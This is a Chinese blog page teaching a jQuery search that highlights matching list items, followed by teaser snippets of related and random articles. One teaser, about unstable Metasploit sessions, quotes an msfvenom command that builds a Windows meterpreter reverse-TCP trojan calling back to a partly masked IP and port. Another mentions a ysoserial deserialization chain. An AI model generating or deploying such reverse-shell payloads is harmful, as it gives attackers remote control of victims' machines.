【WEB前端】【JQuery】搜索li标签的内容
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="../js/jquery-3.6.1.min.js"></script>
<style>
.change{
background:green;
color:white;
}
</style>
</head>
<body>
<input type="text" id="t">
<input type="button" value="search" id="search">
<ul>
<li>one</li>
<li>two</li>
<li>three</li>
<li>four</li>
<li>five</li>
<li>i'm five,i want to sleep</li>
</ul>
<script>
$(function (){
$("#search").click(function (){
var txt = $("#t").val() //获取编辑框的内容
console.log(txt)
var li = $("li") //索取所有li标签的集合
console.log(li)
for (let i = 0;i<li.length;i++) {
console.log(li[i])
let text = li[i].innerText //获取li标签文本内容
console.log(text)
li[i].className=""//清除样式
if(text.search(txt)!==-1){//判断编辑框的内容是否是li标签内容的一部分
li[i].className="change"//更改样式
}
}
})
})
</script>
</body>
</html>
【WEB前端】【JQuery】搜索li标签的内容的更多相关文章
- Web前端JQuery面试题（一）
Web前端JQuery面试题(一) 一:选择器 基本选择器 什么是#id,element,.class,*,selector1, selector2, selectorN? 答: 根据给定的id匹配一 ...
- Python web前端 01 HTML常用标签
Python web前端 01 HTML常用标签 一.HTML创建项目 file ---->new project -----> 输入项目名------>创建文件夹 new dicr ...
- Web前端JQuery面试题（二）
Web前端JQuery面试题(二) 1.请写出jquery的语法? <script type="text/javascript"> $(document).ready( ...
- Web前端JQuery面试题（三）
Web前端JQuery面试题(三) 1.怎么阻止冒泡过程? stopPropagation(); // 阻止冒泡过程 2.ready()方法和onload()方法的区别? onload()方法要等页面 ...
- 利用jQuery对li标签操作
<ul class="con" id="products"> <li i=" class=""> < ...
- 前端学习笔记(zepto或jquery)——对li标签的相关操作（二）
对li标签的相关操作——8种方式获取li标签的第一个元素的内容 1.alert($("ul>li").first().html());2.alert($('ul>li' ...
- 前端学习笔记(zepto或jquery)——对li标签的相关操作（五）
对li标签的相关操作——has与find的差异性 demo代码: <ul> <li><p>1</p></li> <li>2< ...
- 前端学习笔记(zepto或jquery)——对li标签的相关操作（四）
对li标签的相关操作——五种方式给奇数项li标签设置样式 demo演示: 1 2 3 4 5 6 7 // 详解: 通常我们为多个li添加样式时常用的是使用filter,但我们在第三节中可以看到fil ...
- 前端学习笔记(zepto或jquery)——对li标签的相关操作（三）
对li标签的相关操作——八种方式遍历li标签并获取其值 $("ul>li").forEach(function(item,index){ alert(index+" ...
- 前端学习笔记(zepto或jquery)——对li标签的相关操作（一）
对li标签的相关操作——点击li标签进行样式切换的两种方式 Demo演示: 1 2 3 4 // 详解: 第一种方式(以ul为基础): $("ul").bind("cli ...
随机推荐
- 【VMware VCF】使用 SoS 实用程序检查 VCF 环境的运行状态以及收集组件的日志信息。
VMware Cloud Foundation 解决方案中有一个叫 Supportability and Serviceability(SoS)可支持性和可维护性的实用程序,可能你在初始构建 VCF ...
- 2023年第十二届数据技术嘉年华（DTC）资料分享
第十二届数据技术嘉年华(DTC 2023)已于4月8日在北京圆满落幕,大会围绕"开源·融合·数智化--引领数据技术发展,释放数据要素价值"这一主题,共设置有1场主论坛,12场专题论 ...
- ribbon配置负载均衡策略
ribbon的负载均衡策略 com.netflix.loadbalancer.RandomRule:从提供服务的实例中以随机的方式: com.netflix.loadbalancer.RoundRob ...
- Python实现火柴人的设计与实现
1.引言 火柴人(Stick Figure)是一种极简风格的图形,通常由简单的线段和圆圈组成,却能生动地表达人物的姿态和动作.火柴人不仅广泛应用于动画.漫画和涂鸦中,还可以作为图形学.人工智能等领域的 ...
- Linux 基础-文件及目录管理
本文大部分内容参看 <Linux基础>一书,根据自己的工程经验和理解加以修改.拓展和优化形成了本篇博客,不适合 Linux 纯小白,适合有一定基础的开发者阅读. 一,概述 在 Linux ...
- 100GbE 网卡到底有多快?Mellanox CX455-ECAT QSFP28 100Gbps 带宽测试
地址: https://www.youtube.com/watch?v=iqQGWsH6F0I
- 算法笔记——马拉核弹（Mana Nuclear）
0x00 摘要 "马拉核弹"算法由 SXHT 同学(2009~今)发明,并在 2024 年 11 月于某不知名学校机房内正式公布.该算法基于 1975 年发明的 Manacher ...
- 高性能的Reactor和Proactor模式学习
0.引言 在上一篇的笔记中,我们学习了操作系统提供的高效I/O管理技术,主要用于解决服务器在高并发场景下的资源浪费和瓶颈问题.但是在实际的代码编写中,要是我们都全部调用底层的I/O多路复用接口来编写网 ...
- CommonsCollections3（基于ysoserial）
环境准备 JDK1.7(7u80).commons-collections(3.x 4.x均可这里使用3.2版本).javassist(3.12.1.GA) JDK:https://repo.huaw ...
- Metasploit会话连接不稳定问题排查
使用msfvenom生成木马,语句如下: msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=43.154.xxx.xxx lport=4455 ...